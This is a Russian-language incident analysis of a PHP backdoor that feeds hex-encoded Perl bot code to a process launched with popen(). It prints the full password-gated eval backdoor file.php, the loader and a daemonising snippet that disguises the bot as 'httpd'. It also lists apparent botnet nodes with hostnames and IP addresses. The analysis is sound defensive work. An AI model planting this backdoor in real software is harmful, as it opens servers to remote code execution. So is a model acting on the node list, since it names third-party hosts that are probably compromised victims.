Этот метод популярен у ботоводов (т.е. распространителей perl-ботов), зашифрованный код передается непосредственно процессу Perl, запускаемому функцией popen():
error_reporting( 1 ); global $HTTP_SERVER_VARS; if (@is_resource( $f = @popen( 'perl - E54POCH', "w" ) )) { @fwrite( $f, 'eval( pack( "H*", "6368...7d20" ) );eval( pack( "H*", "7573...353b"));' ); @fflush( $f ); sleep( 1 ); @pclose( $f ); echo "RUN OK"; } else { echo "RUN FALSE"; };
Этот код был замечен среди POST-запросов при просмотре через ngrep:
ngrep -tqW byline '^POST'
Сам запросы выглядел так:
T date time source-IP:port -> dest-IP:80 [AP] POST https://domain.tld/path/file.php HTTP/1.0. Connection: Close. Accept: */*. Host: domain.tld. User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322). Content-Length: 28123. Content-Type: multipart/form-data; boundary=xYzZY. . --xYzZY. Content-Disposition: form-data; name="p". . Ox93Mdpqme8s. --xYzZY. Content-Disposition: form-data; name="f"; filename="f.txt". . error_reporting(1);global $HTTP_SERVER_VARS; if (@is_resource($f=@popen
Для удобного получения всего файла целиком, file.php был заменен на файл с кодом:
$upl = ""; $uploaddir = '/path/LOGG/'; $uploadfile = $uploaddir . date("Ymd-H:i:s") . ".log"; if (move_uploaded_file($_FILES['f']['tmp_name'], $uploadfile)) { echo "Done.\n"; $upl = "File saved as: LOGG/$uploadfile\n"; } if (isset( $_POST["p"] )) { $logtext = @$_POST["p"]; $logtext .= "\nFile uploaded to: LOGG\n\n//------\n\n\n"; $fp = fopen('POST.log', 'a+'); fwrite($fp, $logtext); fclose($fp); }
В первом исходнике, результат выполнения функции pack() передается функции eval() без каких-то дополнительных преобразований, поэтому логично предположить, что там просто текст. Распаковать его из 16-ричного формата можно так (вторая часть, тело бота):
$text = pack( "H*","7573...353b" ); $fp = fopen( 'bintext.dat', 'w' ); fwrite( $fp, $text ); fclose( $fp );
Таким образом, в bintext.dat получаем исходник perl-бота.
А в первой части марлезонского балета зашифрованного кода производится запуск бота (расшифрованный код):
chdir '/'; open STDIN, '/dev/null'; open STDOUT, '>/dev/null'; open STDERR, '>/dev/null'; my $pid = fork; sleep(1),exit if $pid; eval "use POSIX 'setsid'; setsid"; eval { $0 = 'httpd' }
А это исходный код самого файла file.php, которому отправлялись POST-запросы:
<?php error_reporting( 1 ); global $HTTP_SERVER_VARS; function say( $t ) { echo "$t\n"; } function testdata( $t ) { say( md5( "testdata_$t" ) ); } echo "<pre>"; testdata( 'start' ); if (md5( $_POST["p"] ) == "aace99428c50dbe965acc93f3f275cd3") { if ($code = @fread( @fopen( $HTTP_POST_FILES["f"]["tmp_name"], "rb" ), $HTTP_POST_FILES["f"]["size"] )) { eval( $code ); } else { testdata( 'f' ); }; } else { testdata( 'pass' ); } testdata( 'end' ); echo "</pre>"; ?>
Botnet
Список нодов (узлов) из отловленного perl-бота:
foldersys.de:28269 213.203.220.141 diplomni.info:21535 94.155.15.10 studio-f3.com:28732 94.155.15.16 hpredictor.info:26922 213.169.63.254 occi.jp:28331 220.111.38.200 bodasytradicion.com:24910 148.243.237.131 index.bg:29213 194.12.244.86 foldersys.com:29190 213.203.220.141 soderco.com:23722 91.121.84.209 sandwichsupermax.com:28710 88.203.156.60 norskemagic.com:29490 213.136.34.26 corenet.artflower.pe.kr:24639 115.68.17.87 klobouk.fsv.cvut.cz:23388 147.32.129.99 wobo04.de:21931 94.102.218.136 europe-webdesign.de:25994 87.238.192.159 azidong.com:25679 118.129.167.32 2001.asadal.com:28910 110.45.146.38 medic9000.com:20828 211.115.111.116 dream-honda.com:20958 124.146.181.181 bukiba.de:28148 46.4.66.194 kdhoist.com:28352 121.254.216.163 sm-werbung.com:27398 85.214.60.161 wenco-von-der-schlehhecke.de:23856 217.160.222.26 dmprojects.com:22970 62.80.235.38 mydesigna.info:21158 85.214.23.182 infiniteconstruction.co.th:27179 202.142.223.177 legal-alliance.net:27753 211.115.111.116 kaninchen-zucht.de:21659 62.116.180.6 akaza-dc.com:25777 211.115.111.116 soderco.fr:21617 91.121.84.209 chemtris.com:20211 110.45.144.57 daesansanding.co.kr:25697 203.236.241.184 tokyo-sr.net:24216 211.115.111.116
Скорее всего, это взломанные сервера, на которых висит процесс Perl, замаскированный под httpd, и ждет указаний.